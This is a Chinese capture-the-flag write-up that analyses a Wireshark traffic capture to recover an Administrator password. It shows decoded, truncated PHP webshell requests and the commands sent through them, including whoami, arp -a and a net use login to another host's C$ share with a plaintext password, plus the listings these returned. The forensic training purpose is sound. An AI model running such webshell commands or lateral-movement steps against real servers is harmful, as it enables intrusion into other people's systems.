Writeup of 黑客攻击(Misc) in WhaleCTF

原创

C0ss4ck 于 2018-02-02 18:39:29 发布 1507 收藏 1
分类专栏： MISC_of_CTF 文章标签： CTF MISC wireshark

题目要求获取Administrator的密码。首先使用wireshark分析流量包。

身为一个web方向重度残疾的二进制手，做这道题真是走了不少弯路。

比如说之前追踪TCP流在文件里找Administrator找password最后啥有用的也没找着（不是很懂黑客攻击的原理OTZ）

后来发现了inetpub\wwwroot，并且猜测黑客应该是用菜刀来取webshell，首先需要访问服务器，于是过滤HTTP包，去看看这个黑客到底干了啥——

分组	主机名	内容类型	大小	文件名
78	192.168.30.170	application/x-www-form-urlencoded	687 bytes	config.php
91	192.168.30.170	text/html	147 bytes	config.php
130	192.168.30.170	application/x-www-form-urlencoded	609 bytes	config.php
131	192.168.30.170	text/html	67 bytes	config.php
340	192.168.30.170	application/x-www-form-urlencoded	609 bytes	config.php
342	192.168.30.170	text/html	304 bytes	config.php
449	192.168.30.170	application/x-www-form-urlencoded	677 bytes	config.php
496	192.168.30.170	text/html	55 bytes	config.php
633	192.168.30.170	application/x-www-form-urlencoded	743 bytes	config.php
635	192.168.30.170	text/html	885 bytes	config.php
749	192.168.30.170	application/x-www-form-urlencoded	737 bytes	config.php
820	192.168.30.170	text/html	613 bytes	config.php
927	192.168.30.170	application/x-www-form-urlencoded	751 bytes	config.php
1243	192.168.30.170	text/html	3003 bytes	config.php
1349	192.168.30.170	application/x-www-form-urlencoded	747 bytes	config.php
1487	192.168.30.170	text/html	1123 bytes	config.php
1527	192.168.30.170	application/x-www-form-urlencoded	751 bytes	config.php
1547	192.168.30.170	text/html	219 bytes	config.php
1635	192.168.30.170	application/x-www-form-urlencoded	759 bytes	config.php
1661	192.168.30.170	text/html	192 bytes	config.php
1688	192.168.30.170	application/x-www-form-urlencoded	759 bytes	config.php
1704	192.168.30.170	text/html	192 bytes	config.php
1840	192.168.30.170	application/x-www-form-urlencoded	685 bytes	config.php
9883	192.168.30.170	text/html	64 bytes	config.php
9997	192.168.30.170	application/x-www-form-urlencoded	733 bytes	config.php
10054	192.168.30.170	text/html	370 bytes	config.php
10110	192.168.30.170	application/x-www-form-urlencoded	747 bytes	config.php
10112	192.168.30.170	text/html	152 bytes	config.php
10135	192.168.30.170	application/x-www-form-urlencoded	747 bytes	config.php
10137	192.168.30.170	text/html	152 bytes	config.php
10192	192.168.30.170	application/x-www-form-urlencoded	494 bytes	config.php
17729	192.168.30.170	text/html	9817 kB	config.php
17869	192.168.30.170	application/x-www-form-urlencoded	617 bytes	config.php
17870	192.168.30.170	text/html	37 bytes	config.php
17892	vconf.f.360.cn	application/x-www-form-urlencoded	654 bytes	safe_update
17980	192.168.30.170	application/x-www-form-urlencoded	637 bytes	config.php
17989	192.168.30.170	text/html	71 bytes	config.php

- 依次观察POST过去的数据(base64decode之后)；
- 第1个包：

```
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname(

->|c:\inetpub\wwwroot\tC:\tWindows NT ROOT-53DD5427BC 5.2 build 3790 (Windows Server 2003 Enterprise Ed
```

- 第2个包：

```
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_d
ret={$ret}
":"";;echo("|<-");die();
cmd
cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]

->|nt authority\network service\r\n
[S]\r\n
c:\inetpub\wwwroot\r\n
[E] \r\n
|<-
```

- 第3个包：

```
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_d
ret={$ret}
":"";;echo("|<-");die();
cmd
cd /d "c:\inetpub\wwwroot\"&arp -a&echo [S]&cd&echo [E]

->|
Interface: 192.168.30.170 --- 0x10003
  Internet Address      Physical Address      Type
  192.168.30.2          00-50-56-e2-70-33     dynamic
  192.168.30.101        00-0c-29-6e-cf-cb     dynamic
  192.168.30.184        00-50-56-23-46-15     dynamic
[S]
c:\inetpub\wwwroot
[E]
|<-
```

- 第4个包：

```
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_d
ret={$ret}
":"";;echo("|<-");die();
cmd
cd /d "c:\inetpub\wwwroot\"&net use \\192.168.30.184\C$ "Test!@#123" /u:Administrator&echo [S]&cd&echo

->|.............

[S]
c:\inetpub\wwwroot
[E]
|<-
```

- 第5个包：

```
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_d
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();
c:\\inetpub\\wwwroot\\

->|./ 2014-11-14 21:55:23 0 0777
../ 2014-09-14 21:21:11 0 0777
aspnet_client/ 2014-09-14 21:21:44 0 0777
backup/ 2014-11-14 22:31:22 0 0777
codeaudit/ 2014-10-19 13:16:56 0 0777
images/ 2014-11-14 21:50:37 0 0777
phpMyAdmin/ 2014-09-13 11:52:02 0 0777
rjzzgc/ 2014-10-14 16:16:02 0 0777
syc/ 2014-09-25 15:06:18 0 0777
1.html 2014-10-03 11:43:46 26 0666
CodeIgniter_2.2.0.zip 2014-10-13 21:07:16 2327811 0666
config.php 2014-11-14 21:04:26 35 0666
form.html 2014-10-03 12:23:50 1529 0666
form1.log 2014-10-03 13:16:37 82 0666
form1.php 2014-10-03 11:57:43 132 0666
form2.log 2014-10-03 12:24:10 83 0666
form2.php 2014-10-03 11:57:52 132 0666
getflag.php 2014-09-29 13:26:32 850 0666
probe.php 2014-10-03 11:50:33 4353 0666
rjzzgc.rar 2014-10-22 20:37:25 424676 0666
test.html 2014-10-12 21:09:53 305 0666
test.php 2014-10-03 11:51:03 70 0666
track.js 2014-10-03 13:22:05 1211 0666
|<-
```

- 第6个包：

```
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_d
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();
\\192.168.30.184\C$\

->|$Recycle.Bin/ 2009-07-14 10:34:39 0 0777
Boot/ 2014-04-25 04:40:17 4096 0777
Documents and Settings/ 2009-07-14 13:06:44 0 0777
PerfLogs/ 2009-07-14 11:20:08 0 0777
Program Files/ 2014-04-24 12:48:06 4096 0555
Program Files (x86)/ 2009-07-14 13:06:53 4096 0555
ProgramData/ 2014-04-24 12:48:06 4096 0777
Recovery/ 2014-04-24 12:45:44 0 0777
System Volume Information/ 2014-04-25 03:41:50 4096 0777
Users/ 2014-04-24 12:51:44 4096 0555
Windows/ 2014-04-24 12:46:28 16384 0777
bootmgr 2010-11-21 11:24:02 383786 0444
BOOTSECT.BAK 2014-04-25 04:40:17 8192 0444
pagefile.sys 2014-11-14 22:42:36 1073741824 0666
|<-
```

不难发现，攻击过程是——黑客访问服务器，检查了自己的权限并且进行了arp嗅探，准备进行渗透；随后输入密码使用192.168.30.184的Administrator身份，取得了管理员权限；之后就是读文件目录（为所欲为23333）

就这样我们得知了Administrator的password，即 Test!@#123，并且围观了一次“黑客攻击”。